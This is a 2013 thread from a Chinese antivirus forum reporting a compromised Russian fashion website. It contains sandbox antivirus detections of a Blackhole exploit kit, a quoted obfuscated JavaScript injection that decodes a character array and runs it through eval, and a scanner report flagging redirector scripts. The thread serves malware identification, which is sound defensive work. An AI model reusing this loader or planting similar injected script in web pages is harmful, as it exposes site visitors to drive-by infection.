查看: 777|回复: 2
收起左侧

[已鉴定] 80【挂马 by 蓝核】

[复制链接]
墨家小子
发表于 2013-4-26 16:39:09 | 显示全部楼层 |阅读模式
本帖最后由 蓝核 于 2013-4-28 00:33 编辑

2013/4/26        16:37:56        已删除         l\ZZ        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\ZZ\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LDHOO3TR\1983-ÃÃÂÂ&ique[1].htm        JS/Exploit-Blacole.gc (特洛伊)
2013/4/26        16:37:59        已删除         l\ZZ        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\ZZ\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BY3B2OFD\wpu-min[1].js        JS/Exploit-Blacole.ht (特洛伊)
2013/4/26        16:38:04        已删除         l\ZZ        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\ZZ\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZOUHJAAB\favicon[1].htm        JS/Exploit-Blacole.gc (特洛伊)

http://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique
蓝核
发表于 2013-4-28 00:32:43 | 显示全部楼层
  1. <a href='http://www.liveinternet.ru/click' target=_blank><img src='//counter.yadro.ru/hit?t45.6;r;s1366*768*32;uhttp%3A//www.womenview.ru/fashion/fashionbook/1983-%26Atilde%3B%26Atilde%3B%26Acirc%3B%26Acirc%3B%26ique;0.38975703755254165' alt='' title='LiveInternet' border='0' width='31' height='31'></a>
复制代码
  1. try{window.document.body++}catch(gdsgsdg){dbshre=122;}if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}ss=String;asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,27,4,2,25,112,92,105,24,106,91,96,104,111,25,55,27,91,103,92,111,104,92,102,109,40,94,105,93,90,110,96,60,100,94,103,96,101,108,33,33,100,93,106,90,103,96,30,33,52,26,8,1,24,106,91,96,104,111,39,109,109,90,24,54,26,34,95,108,109,106,53,38,39,102,95,98,88,107,109,105,109,102,102,39,93,106,100,39,32,53,27,4,2,25,107,92,92,105,112,40,110,107,113,101,95,41,103,103,108,99,111,96,103,103,26,56,23,31,90,92,110,102,100,110,110,96,30,51,25,7,5,23,105,90,95,108,110,38,108,110,116,99,93,39,92,106,105,92,94,108,27,52,24,32,42,34,50,24,6,4,27,104,89,94,107,114,37,107,109,115,103,92,38,97,95,100,94,96,109,26,56,23,31,42,106,115,30,51,25,7,5,23,105,90,95,108,110,38,108,110,116,99,93,39,113,100,91,108,97,26,56,23,31,42,106,115,30,51,25,7,5,23,105,90,95,108,110,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,24,6,4,27,104,89,94,107,114,37,107,109,115,103,92,38,109,105,107,23,53,25,33,44,103,112,32,53,27,4,2,6,4,27,96,94,25,34,28,91,103,92,111,104,92,102,109,40,98,92,108,62,102,96,100,93,103,110,61,112,65,93,34,34,104,89,94,107,114,30,33,34,26,118,23,5,3,26,95,102,91,110,103,96,101,108,39,113,109,96,108,94,34,34,51,92,98,112,27,96,92,54,86,34,104,89,94,107,114,83,31,25,56,55,38,92,98,112,57,30,33,52,26,8,1,24,93,105,94,108,101,94,104,111,37,95,94,110,64,99,93,102,95,105,107,58,114,67,95,31,31,106,91,96,104,111,32,35,41,88,104,105,95,105,91,59,97,99,103,91,32,106,91,96,104,111,34,53,27,4,2,25,119,27,4,2,25,119,36,31,33,52);s="";for(i=0;i-453!=0;i++){if((020==0x10)&&window.document)s+=ss.fromCharCode(1*asgq[i]-(i%5-5-4));}z=s;e(s);}
  2. /*/35bd8f*/
复制代码
这……黑客真有情调
fireold
发表于 2013-4-28 10:04:03 | 显示全部楼层
Checking: hxxp://www.womenview.ru/wp-content/plugins/nextgen-gallery/js/ngg.js?ver=2.0
File size: 5477 bytes
File MD5: 09e4cbc735b45d46dafb405a70a8417e

hxxp://www.womenview.ru/wp-content/plugins/nextgen-gallery/js/ngg.js?ver=2.0 - Ok

Checking: hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique
Engine version: 7.0.4.9250
Total virus-finding records: 3904670
File size: 20.94 KB
File MD5: b7e49e31448a7b1c5fae55da9b901a34

hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique - archive JS-HTML
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_1[356][6f2] infected with JS.Redirector.181
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_2[f15][81] - Ok
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_3[112c][ca] - Ok
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_4[140e][d2] - Ok
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_5[1cbc][d1] - Ok
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_6[3815][1a5] - Ok
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_7[3c45][102] - Ok
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_8[4272][6f2] infected with JS.Redirector.181
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTAG_9[4cc3][6f2] infected with JS.Redirector.181
>hxxp://www.womenview.ru/fashion/fashionbook/1983-ÃÃÂÂ&ique/JSTag_10[381a][1a0] - Ok
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 21:02 , Processed in 0.128456 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表